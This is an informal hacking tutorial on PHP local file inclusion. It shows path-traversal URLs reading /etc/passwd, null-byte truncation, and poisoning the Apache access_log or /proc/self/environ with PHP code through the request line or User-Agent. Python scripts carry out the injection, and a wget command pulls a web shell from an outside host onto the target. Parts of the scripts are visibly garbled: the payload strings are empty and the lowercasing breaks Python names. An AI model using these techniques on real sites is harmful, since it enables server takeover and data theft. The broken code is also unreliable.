local file inclusions by g-brain recommended knowledge: php, unix, strings websites often use an include() system to display their pages, even more often this system is insecure. a practical example: index.php: which would result in a website with links such as: index.php?page=about.php index.php?page=news.php the simplest way to see if a script is vulnerable to local file inclusion, is this: index.php?page=../../../../../../../../../etc/passwd where ../ causes the script to move up one directory, multiple ../ cause the script to move to the top level directory (/, the root of the filesystem) and /etc/passwd is the unix passwd file. the result should look something like this: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh ...on and on and on. this also works for scripts such as this one: index.php which merely adds a directory. another, more stealthy way of checking for local file inclusions is the following: imagine a website using the script above: index.php?page=news.php we don't have the script, so we don't know the pages are in the /pages directory. however, we can see where the script gets the file from by brute force, like this: /news.php /pages/news.php /page/news.php /includes/news.php
/include/news.php /files/news.php /file/news.php ...et cetera. which should result in either the news being displayed, or a custom error that is raised because the file was accessed directly, and not included by index.php we could also do this by checking directories: /pages/ /includes/ ...et cetera which should result in either a directory listing, an empty page, a custom "get the fuck out" page, or a 403 "permission denied" error, which means you got it right. it's also possible that the admin has "secured" his script, like this: which does nothing but adding a ".php" extension, so links are going to look like this: index.php?page=news index.php?page=about which looks a lot more secure, but in this case: isn't. we can now do something like... index.php?page=../../../../../../../../../../etc/passwd%00 and still include a local file. the trick here, is to add a null byte, a string terminator to the end of our file, so the rest of it (the ".php") will be discarded: results in: anyway, the point of a local file inclusion is that you include a file that has your php code in it. for this, we're going to need access to a local file, now how are we going to do that? we have multiple options:
- inject php code into the apache access_log - use the /proc/self/environ i'll go over them in the listed order. the apache access_log is a file that logs all requests to the web server. here's a list of common access_log locations: /usr/local/apache/logs/ /var/log/apache2/ /var/log/apache/ /etc/httpd/logs/ /var/www/logs/ /var/log/httpd/ /apache/logs/ /var/log/ the file is usually named either access_log, or access.log, and it looks something like this: 127.0.0.1 - - [24/mar/2008:12:52:35 +0000] "get /abusing_software/file_inclusions.txt http/1.1" 200 3051 "-" "mozilla/5.0 (x11; u; linux i686; en-us; rv:1.8.1.12) gecko/20080129 iceweasel/2.0.0.12 (debian-2.0.0.12-0etch1)" "-" the important thing about this file is: we can change a lot of the things that are saved in it, more specifically: the get request and the user-agent. for example, we could get / or use as our user-agent. to make a malformed get request, we can use the following script: php_rce_get.py import socket host = 'www.g-brain.net' php = '' ua = 'mozilla/4.0 (compatible; msie 5.5; windows nt)' logsocket = socket.socket(socket.af_inet, socket.sock_stream) logsocket.connect((host,80)) logsocket.send('get /%s\r\n' % php) logsocket.send('user-agent: %s\r\n' % ua) logsocket.send('host: %s\r\n' % host) logsocket.send('connection: close\r\n\r\n') logsocket.close() doing this with a browser is unlikely to work, as it will urlencode the request, screwing up our php. to change our user-agent, we can either use a browser extension such as user agent switcher for firefox, or we could use this script: php_rce_ua.py import socket
host = 'www.g-brain.net' php = '' logsocket = socket.socket(socket.af_inet, socket.sock_stream) logsocket.connect((host,80)) logsocket.send('get /\r\n') logsocket.send('user-agent: \r\n' % php) logsocket.send('host: %s\r\n' % host) logsocket.send('connection: close\r\n\r\n') logsocket.close() the point is: we can now include the access_log again, append "&cmd=shell command here" to the url and have remote command execution on the server. for example, after injecting into an access_log: index.php?page=../../../../../../../../var/log/httpd/access_log&cmd=ls should result in the output of "ls" being displayed somewhere on screen. now, for someting useful, execute the following command: wget http://www.g-brain.net/fish.txt -o fish.php;rm wget-log the command should be pretty straightforward: it fetches http://www.g-brain.net/fish.txt, saves it to fish.php and removes the wget-log. the result: a shell on the server, saved in fish.php the other method, is to include /proc/self/envron (which is a file on the /proc pseudo-filesystem representing the environment variables used by the process reading the file, in our case: the current php process) one of these environment variables is http_user_agent, the user-agent string sent by the browser of the current visitor: you. we can change this string using either the aforementioned firefox extension, or a python script like this: php_rce_proc_self_environ.py import urllib2 url = 'http://www.g-brain.net/index.php?page=../../../proc/self/environ' cmd = 'wget http://www.g-brain.net/fish.txt -o fish.php;rm wget-log' cmdurl = + "&cmd=" + urllib.quote(cmd) request = urllib2.request(cmdurl,none,{'user-agent': 'php_rce: '}) try: response = urllib2.urlopen(request) except: print "connection error" try: resulthtml = response.read() except: print "socket error" if resulthtml.find("php_rce") >= 0:
print "command execution successful, shell uploaded" else: print "command execution failed" the result: a shell in fish.php